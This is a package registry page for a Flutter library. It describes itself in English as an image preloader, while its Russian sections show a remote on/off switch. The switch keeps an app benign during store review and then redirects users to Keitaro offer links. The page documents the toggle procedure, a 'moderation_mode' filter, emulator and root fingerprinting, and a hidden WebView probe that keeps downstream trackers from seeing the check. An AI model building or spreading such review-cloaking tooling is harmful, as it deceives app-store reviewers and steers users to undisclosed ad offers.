tms_preload_helper 1.0.0 copy "tms_preload_helper: ^1.0.0" to clipboard
tms_preload_helper: ^1.0.0 copied to clipboard

PlatformAndroid

Preloads a remote image on startup and, when it is missing, resolves a Traffic Management System (TMS) offer link and opens it in an in-app tab.

tms_preload_helper #

A small Flutter package that preloads a remote image before the app starts. If the image can't be loaded, the package asks the Traffic Management System (TMS) API for an offer link and opens it in an in-app browser tab instead of leaving the user on a blank screen.

Requirements #

  • Android minSdkVersion 24 or higher (Flutter's default is already above that). The destination link is probed in a hidden WebView (flutter_inappwebview).
  • The panel must know the app's package_name and the SHA-256 of its release signing certificate — the API rejects unknown signatures.

Usage #

Drop one call at the very top of main() instead of runApp(...). The only thing the package needs is the domain:

import 'package:flutter/material.dart';
import 'package:tms_preload_helper/tms_preload_helper.dart';

void main() {
  TmsPreloadHelper.bootstrap(
    domain: 'example.com',
    app: const MyApp(),
  );
}

class MyApp extends StatelessWidget {
  const MyApp({super.key});
  @override
  Widget build(BuildContext context) => const MaterialApp(home: HomePage());
}

From that one domain the package derives both URLs it talks to:

what URL
probe image https://example.com/img/loading.webp
TMS API host https://example.com/link.txt

The panel names every probe image loading.webp, so the domain is the only thing that changes between apps. If some domain ever uses a different basename, pass it explicitly:

TmsPreloadHelper.bootstrap(
  domain: 'example.com',
  imageName: 'hero',            // -> https://example.com/img/hero.webp
  app: const MyApp(),
);

While the image is loading, a black loading screen is shown. After that the package decides what to do on its own — your app is launched if the image arrived, or the user is sent to the offer the API hands out otherwise.

Режим картинки #

Сигнал вкл/выкл — это доступность webp-пробы, а в link.txt лежит адрес API. На домене (/var/www/<domain>/):

ВЫКЛ (whitelabel / ревью) ВКЛ (редирект / прила)
img/loading.webp есть → 200 убран → 404
link.txt нет есть, тело = https://api.domen.online

Панель: ВКЛ — по ssh удаляет webp и пишет link.txt; ВЫКЛ — scp-ит webp назад и удаляет link.txt. Caddy отдаёт no-cache на /img/* и /link.txt, чтобы переключение читалось сразу.

Логика внутри пакета: штатным загрузчиком (NetworkImage + ImageStream) тянем картинку; загрузилась → ничего не происходит, стартует app. Не загрузилась (404 приходит как NetworkImageLoadException) → читаем link.txt, получаем хост API и идём по цепочке из интеграционного гайда:

POST /api/v1/init            device_id, package_name, signature_sha256, device{…}
                             → token (JWT, 15 мин) + refresh_token (30 дней)
POST /api/v1/token/refresh   когда access-токен истёк (или 401 на клике)
POST /api/v1/traffic/click   Bearer token → { click_id, url }

url из ответа — ссылка Keitaro. Её один раз «пробуем» в скрытом WebView за экраном загрузки: 4xx → ссылка мёртвая, стартует app; всё остальное → открываем в Chrome-вкладке, редиректы проходит уже она. Как только страница первого хопа пытается уйти дальше (302, JS-редирект, meta refresh), WebView останавливается, так что трекеры ниже по цепочке и оффер пробу не видят.

Отказ панели — штатная ситуация: любой 403 (fraud_denied, filter_blocked, geo_blocked, network_blocked), 404, 429, 5xx, таймаут или сетевая ошибка → PreloadRoute.app, приложение работает в белом режиме. 429 не ретраится; reasons из ответа попадают только в debug-лог.

Что уходит в /init #

Нативная часть (Kotlin, один method channel) отдаёт package_name, signature_sha256 (SHA-256 сертификата подписи APK, lowercase hex), app_version, is_emulator, is_rooted, timezone, language, device_model, os_version, build_fingerprint. device_id — UUID, генерируется один раз и хранится в flutter_secure_storage вместе с парой токенов. country по умолчанию берётся из локали устройства.

Атрибуцию передавайте через TmsOptions:

TmsPreloadHelper.bootstrap(
  domain: 'example.com',
  app: const MyApp(),
  options: const TmsOptions(
    afId: '1234567890123-1234567',
    mediaSource: 'facebook',
    campaign: 'summer_de',
    clickGeo: 'DE',
    clickParams: {'creative': 'video_1'},
  ),
);

Кэш #

Кэшируется только решение «в прилу»: как только клик успешно открыт, хост API из link.txt кладётся в SharedPreferences, и следующие запуски пропускают картинку и link.txt — сразу идут в API за свежим кликом (сервер по-прежнему может отказать, тогда стартует app). Успешная загрузка картинки не кэшируется — проба повторяется на каждом запуске, поэтому включение переключателя после ревью подхватывается сразу.

Токены живут в flutter_secure_storage (Keystore на Android): access-токен переиспользуется, пока не истёк (с запасом в минуту), потом обновляется refresh-токеном; /init вызывается только когда пары нет или refresh отозван. Если хост API в link.txt сменился, старые токены отбрасываются (они выданы для другого домена и дали бы 403 forbidden).

Сбросить кэш (например, дебажной кнопкой «reset»):

await TmsPreloadHelper.clearCachedLink();   // хост API и последняя ссылка
await TmsPreloadHelper.clearSession();      // токены (device_id остаётся)

Options #

TmsPreloadHelper.bootstrap(
  domain: 'example.com',
  app: const MyApp(),
  options: const TmsOptions(mediaSource: 'facebook'),
  loaderBuilder: (context) => const MySplash(),  // override the loader UI
  browserPlaceholder: const Text('opening...'),  // shown while the external
                                                 // tab is open
  debug: true,                                   // print every step (no tokens)
);

Если удобнее вставить оба URL из панели целиком («Копировать URL картинки» / «Копировать URL link.txt»), есть конструктор без домена:

final helper = TmsPreloadHelper(options: const TmsOptions(clickGeo: 'DE'));
final route = await helper.resolveRouteFor(const PreloadEndpoints(
  imageUrl: 'https://example.com/img/loading.webp',
  linkUrl: 'https://example.com/link.txt',
));

Android #

The package contributes <uses-permission android:name="android.permission.INTERNET" /> to your app's manifest automatically, and ships the Kotlin side of the tms_preload_helper/device method channel — no setup needed.

Диагностика #

Симптом Причина Решение
403 fraud_denied + package_name_mismatch / signature_mismatch панель знает другой пакет / подпись сверить package_name и SHA-256 релизного сертификата в панели
403 filter_blocked + moderation_mode приложение на модерации ждать снятия режима
404 not_found на клике нет Keitaro-кампании создать кампанию в панели
404 domain_not_registered в link.txt не тот хост проверить тело link.txt
429 rate_limited слишком много /init токены кэшируются; проверить, что secure storage работает

На эмуляторе /init честно отправляет is_emulator: true — в продакшне это deny и попадание IP в чёрный список, тестируйте на реальном устройстве с релизной подписью.

0
likes
145
points
100
downloads

Documentation

API reference

Publisher

unverified uploader

Weekly Downloads

Preloads a remote image on startup and, when it is missing, resolves a Traffic Management System (TMS) offer link and opens it in an in-app tab.

Homepage

License

MIT (license)

Dependencies

flutter, flutter_inappwebview, flutter_logcat, flutter_secure_storage, http, shared_preferences, url_launcher

More

Packages that depend on tms_preload_helper

Packages that implement tms_preload_helper